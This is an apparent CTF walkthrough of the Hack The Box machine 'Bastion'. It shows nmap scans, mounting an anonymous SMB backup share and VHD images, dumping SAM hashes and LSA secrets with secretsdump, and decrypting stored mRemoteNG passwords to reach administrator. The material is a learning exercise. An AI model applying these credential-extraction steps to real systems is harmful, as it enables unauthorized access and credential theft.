7 minute read

Introduction


Bastion is an easy Windows machine rated 4.6. I think that the machine is more like a medium one. The box is about weak authentication, and cracking a SAM database. The privilege escalation is done by cracking the password hash in a config file. So let’s start with the enumeration of the machine.

Enumeration


I use nmap to scan the machine.

Nmap Scan


Here are the results of the simple scan of all ports:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/bastion]
└─$ sudo nmap -sS -p- bastion.htb                    
\Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-09 10:38 CEST
Initiating Ping Scan at 10:38
Scanning bastion.htb (10.10.10.134) [4 ports]
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Ping Scan Timing: About 100.00% done; ETC: 10:38 (0:00:00 remaining)
Completed Ping Scan at 10:38, 0.18s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 10:38
Scanning bastion.htb (10.10.10.134) [65535 ports]
Host is up (0.042s latency).
Not shown: 65522 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 83.15 seconds
           Raw packets sent: 67424 (2.967MB) | Rcvd: 66013 (2.641MB)

I also performed a deep scan on the open ports found (with -A flag):

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/bastion]                     
└─$ sudo nmap -A -p 22,135,139,445,5985,47001,49000-50000 bastion.htb 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-09 10:44 CEST      
Nmap scan report for bastion.htb (10.10.10.134)                       
Host is up (0.084s latency).                                          
Not shown: 994 closed ports                                           
PORT      STATE SERVICE      VERSION                                  
22/tcp    open  ssh          OpenSSH for_Windows_7.9 (protocol 2.0)   
| ssh-hostkey:                                                        
|   2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)        
|   256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)       
|_  256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)     
135/tcp   open  msrpc        Microsoft Windows RPC                              
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn                      
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds    
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)            
|_http-server-header: Microsoft-HTTPAPI/2.0                                     
|_http-title: Not Found                                                      
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)        
|_http-server-header: Microsoft-HTTPAPI/2.0                                 
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=9/9%OT=22%CT=49000%CU=39356%PV=Y%DS=2%DC=T%G=Y%TM=6139
OS:C9C8%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=109%TI=I%CI=I%II=I%SS=S%
OS:TS=A)OPS(O1=M54BNW8ST11%O2=M54BNW8ST11%O3=M54BNW8NNT11%O4=M54BNW8ST11%O5
OS:=M54BNW8ST11%O6=M54BST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=
OS:2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M54BNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF
OS:=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%
OS:RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W
OS:=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)
OS:U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%D
OS:FI=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -31m49s, deviation: 1h09m15s, median: 8m09s
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Bastion
|   NetBIOS computer name: BASTION\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-09-09T10:54:01+02:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-09-09T08:54:00
|_  start_date: 2021-09-09T08:46:44

TRACEROUTE (using port 49607/tcp)
HOP RTT      ADDRESS
1   59.47 ms 10.10.16.1
2   29.84 ms bastion.htb (10.10.10.134)

Nmap done: 1 IP address (1 host up) scanned in 78.13 seconds

Service Enumeration


SMB (Port 445)


There is an SMB share which I can access without a password. I found some big files, so I mount the share instead of copying them:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/bastion]
└─$ sudo mount -t cifs //10.10.10.134/backups /mnt -o user=,password=   

The big files are the .vhd files (which are virtual disks). These files can be mounted, but I first need to download and install a tool that can do this:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/bastion]
└─$ sudo apt install libguestfs-tools

Now, I can mount the drives:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/bastion]
└─$ sudo guestmount --add /mnt/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 
124351/9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt2/
guestmount: no operating system was found on this disk

If using guestfish ‘-i’ option, remove this option and instead
use the commands ‘run’ followed by ‘list-filesystems’.
You can then mount filesystems you want by hand using the
‘mount’ or ‘mount-ro’ command.

If using guestmount ‘-i’, remove this option and choose the
filesystem(s) you want to see by manually adding ‘-m’ option(s).
Use ‘virt-filesystems’ to see what filesystems are available.

If using other virt tools, this disk image won’t work
with these tools.  Use the guestfish equivalent commands
(see the virt tool manual page).

The first file does not work. So I try the second one:

┌──(user㉿KaliVM)-[/hackthebox/oscp-prep/bastion]
└─$ sudo  guestmount --add /mnt/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 
124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd --inspector --ro /mnt2/

That worked, so let’s check the mounted file disk. To access it, I need root permissions. I can try to dump some hashes in the System32 folder of the image:

┌──(root💀KaliVM)-[/mnt2/Windows/System32/config]
└─# secretsdump.py -sam SAM -security SECURITY -
system SYSTEM LOCAL
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation

[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:e4487d0421e6611a364a5028467e053c:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DefaultPassword 
(Unknown User):bureaulampje
[*] DPAPI_SYSTEM 
dpapi_machinekey:0x32764bdcb45f472159af59f1dc287fd1920016a6
dpapi_userkey:0xd2e02883757da99914e3138496705b223e9d03dd
[*] Cleaning up...

Here are the hashes, the script also found a password of an unknown user: bureaulampje. I try to crack the hashes using crackstation:

Cracking the Hashes

This gives me a password. There is SSH installed, which is unusual for windows but I take it.

SSH


I can try to log into SSH using the password cracked above:

Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

l4mpje@BASTION C:\Users\L4mpje>dir
 Volume in drive C has no label.
 Volume Serial Number is 0CB3-C487

 Directory of C:\Users\L4mpje

It worked, I get a shell as the L4mpje user.

User Flag


I can try to get the user flag:

l4mpje@BASTION C:\Users\L4mpje\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is 0CB3-C487

 Directory of C:\Users\L4mpje\Desktop

22-02-2019  16:27    <DIR>          .
22-02-2019  16:27    <DIR>          ..
23-02-2019  10:07                32 user.txt
               1 File(s)             32 bytes
               2 Dir(s)  11.315.257.344 bytes free

l4mpje@BASTION C:\Users\L4mpje\Desktop>type user.tt
The system cannot find the file specified.

l4mpje@BASTION C:\Users\L4mpje\Desktop>type user.txt
9b**************************c6cd

Privesc


I found a program that can be used for remote management. The program lies here: C:\Program Files (x86)\mRemoteNG. At first, I thought that this is a rabbit hole, but after a google search I found out that a user can store passwords in it (Appdata). So I open the XML:

l4mpje@BASTION C:\Users\L4mpje\AppData\Roaming\mRemoteNG>type confCons.xml                                            
<?xml version="1.0" encoding="utf-8"?>                                                                                
<mrng:Connections xmlns:fmrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipMM" KdfIterations="1000" FullFileEncryption="false" Protected="ZSvKI7j224Gf/twXpaP5G2QFZMLr1iO1f5JKdtIKL6eUg+eWkL5tKO88oop8R8ddXKAx4KK7sAk6AA" ConfVersion="2.6">                                                                                
<Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-662a-44d4-aff0-3a4f547a3fme="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWw Hostname="127.0.0.1" Protocol="RDP" PuttySession="Default Settings" Port="3389" ConnectToConsole="false" UseCredSsp="eringEngine="IE" ICAEncryptionStrength="EncrBasic" RDPAuthenticationLevel="NoAuth" RDPMinutesToIdleTimeout="0" RDPAlerut="false" LoadBalanceInfo="" Colors="Colors16Bit" Resolution="FitToWindow" AutomaticResize="true" DisplayWallpaper="flayThemes="false" EnableFontSmoothing="false" EnableDesktopComposition="false" CacheBitmaps="false" RedirectDiskDriveeedirectPorts="false" RedirectPrinters="false" RedirectSmartCards="false" RedirectSound="DoNotPlay" SoundQuality="DynamctKeys="false" Connected="false" PreExtApp="" PostExtApp="" MacAddress="" UserField="" ExtApp="" VNCCompression="CompNcoding="EncHextile" VNCAuthMode="AuthVNC" VNCProxyType="ProxyNone" VNCProxyIP="" VNCProxyPort="0" VNCProxyUsername="" ssword="" VNCColors="ColNormal" VNCSmartSizeMode="SmartSAspect" VNCViewOnly="false" RDGatewayUsageMethod="Never" RDGasme="" RDGatewayUseConnectionCredentials="Yes" RDGatewayUsername="" RDGatewayPassword="" RDGatewayDomain="" InheritCachfalse" InheritColors="false" InheritDescription="false" InheritDisplayThemes="false" InheritDisplayWallpaper="false" IleFontSmoothing="false" InheritEnableDesktopComposition="false" InheritDomain="false" InheritIcon="false" InheritPanelnheritPassword="false" InheritPort="false" InheritProtocol="false" InheritPuttySession="false" InheritRedirectDiskDril InheritRedirectKeys="false" InheritRedirectPorts="false" InheritRedirectPrinters="false" InheritRedirectSmartCards="fritRedirectSound="false" InheritSoundQuality="false" InheritResolution="false" InheritAutomaticResize="false" InheritUession="false" InheritUseCredSsp="false" InheritRenderingEngine="false" InheritUsername="false" InheritICAEncryptionStlse" InheritRDPAuthenticationLevel="false" InheritRDPMinutesToIdleTimeout="false" InheritRDPAlertIdleTimeout="false" LBalanceInfo="false" InheritPreExtApp="false" InheritPostExtApp="false" InheritMacAddress="false" InheritUserField="faltExtApp="false" InheritVNCCompression="false" InheritVNCEncoding="false" InheritVNCAuthMode="false" InheritVNCProxyTypInheritVNCProxyIP="false" InheritVNCProxyPort="false" InheritVNCProxyUsername="false" InheritVNCProxyPassword="false" Colors="false" InheritVNCSmartSizeMode="false" InheritVNCViewOnly="false" InheritRDGatewayUsageMethod="false" Inheritastname="false" InheritRDGatewayUseConnectionCredentials="false" InheritRDGatewayUsername="false" InheritRDGatewayPassw" InheritRDGatewayDomain="false" />       
<Node Name="L4mpje-PC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="8d3579b2-e68e-48c1-8f0f-9ee Username="L4mpje" Domain="" Password="yhgmiu5bbuamU3qMUKc/uYDdmbMrJZ/JvR1kYe4Bhiu8bXybLxVnO0U9fKRylI7NcB9QuRsZVvla8ese="192.168.1.75" Protocol="RDP" PuttySession="Default Settings" Port="3389" ConnectToConsole="false" UseCredSsp="true"Engine="IE" ICAEncryptionStrength="EncrBasic" RDPAuthenticationLevel="NoAuth" RDPMinutesToIdleTimeout="0" RDPAlertIdlialse" LoadBalanceInfo="" Colors="Colors16Bit" Resolution="FitToWindow" AutomaticResize="true" DisplayWallpaper="false"emes="false" EnableFontSmoothing="false" EnableDesktopComposition="false" CacheBitmaps="false" RedirectDiskDrives="falctPorts="false" RedirectPrinters="false" RedirectSmartCards="false" RedirectSound="DoNotPlay" SoundQuality="Dynamic" Rs="false" Connected="false" PreExtApp="" PostExtApp="" MacAddress="" UserField="" ExtApp="" VNCCompression="CompNone"Ng="EncHextile" VNCAuthMode="AuthVNC" VNCProxyType="ProxyNone" VNCProxyIP="" VNCProxyPort="0" VNCProxyUsername="" VNCPrd="" VNCColors="ColNormal" VNCSmartSizeMode="SmartSAspect" VNCViewOnly="false" RDGatewayUsageMethod="Never" RDGatewayH RDGatewayUseConnectionCredentials="Yes" RDGatewayUsername="" RDGatewayPassword="" RDGatewayDomain="" InheritCacheBitm" InheritColors="false" InheritDescription="false" InheritDisplayThemes="false" InheritDisplayWallpaper="false" InherEtSmoothing="false" InheritEnableDesktopComposition="false" InheritDomain="false" InheritIcon="false" InheritPanel="faltPassword="false" InheritPort="false" InheritProtocol="false" InheritPuttySession="false" InheritRedirectDiskDrives="fritRedirectKeys="false" InheritRedirectPorts="false" InheritRedirectPrinters="false" InheritRedirectSmartCards="false"directSound="false" InheritSoundQuality="false" InheritResolution="false" InheritAutomaticResize="false" InheritUseCoon="false" InheritUseCredSsp="false" InheritRenderingEngine="false" InheritUsername="false" InheritICAEncryptionStrengtInheritRDPAuthenticationLevel="false" InheritRDPMinutesToIdleTimeout="false" InheritRDPAlertIdleTimeout="false" InhericeInfo="false" InheritPreExtApp="false" InheritPostExtApp="false" InheritMacAddress="false" InheritUserField="false" Ipp="false" InheritVNCCompression="false" InheritVNCEncoding="false" InheritVNCAuthMode="false" InheritVNCProxyType="fsitVNCProxyIP="false" InheritVNCProxyPort="false" InheritVNCProxyUsername="false" InheritVNCProxyPassword="false" Inhers="false" InheritVNCSmartSizeMode="false" InheritVNCViewOnly="false" InheritRDGatewayUsageMethod="false" InheritRDGatee="false" InheritRDGatewayUseConnectionCredentials="false" InheritRDGatewayUsername="false" InheritRDGatewayPassword="false" InheritRDGatewayDomain="false" />  
</mrng:Connections>                                                                                                         

I extracted the hashes: aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt, .

To decrypt these hashes, I found this tool on Github:

GitHub - kmahyyg/mremoteng-decrypt: mRemoteNG Config File Decrypt

I downloaded the python version of the tool here:

Releases · kmahyyg/mremoteng-decrypt

I stored the hashes in a file, it’s time to decrypt them:

Use default password for cracking...
Decrypted Output: bureaulampje

Use default password for cracking...
Decrypted Output: thXLHM96BeKL0ER2

Now, I have the cracked passwords.

SSH as Administrator


The admin password is thXLHM96BeKL0ER2, let’s try to login with SSH:

Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

administrator@BASTION C:\Users\Administrator>whoami
bastion\administrator

Root Flag


With an SSH shell as administrator, I should be able to collect the root flag:

administrator@BASTION C:\Users\Administrator\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is 0CB3-C487

 Directory of C:\Users\Administrator\Desktop

23-02-2019  10:40    <DIR>          .
23-02-2019  10:40    <DIR>          ..
23-02-2019  10:07                32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)  11.314.266.112 bytes free

administrator@BASTION C:\Users\Administrator\Desktop>type root.txt
95**************************65c8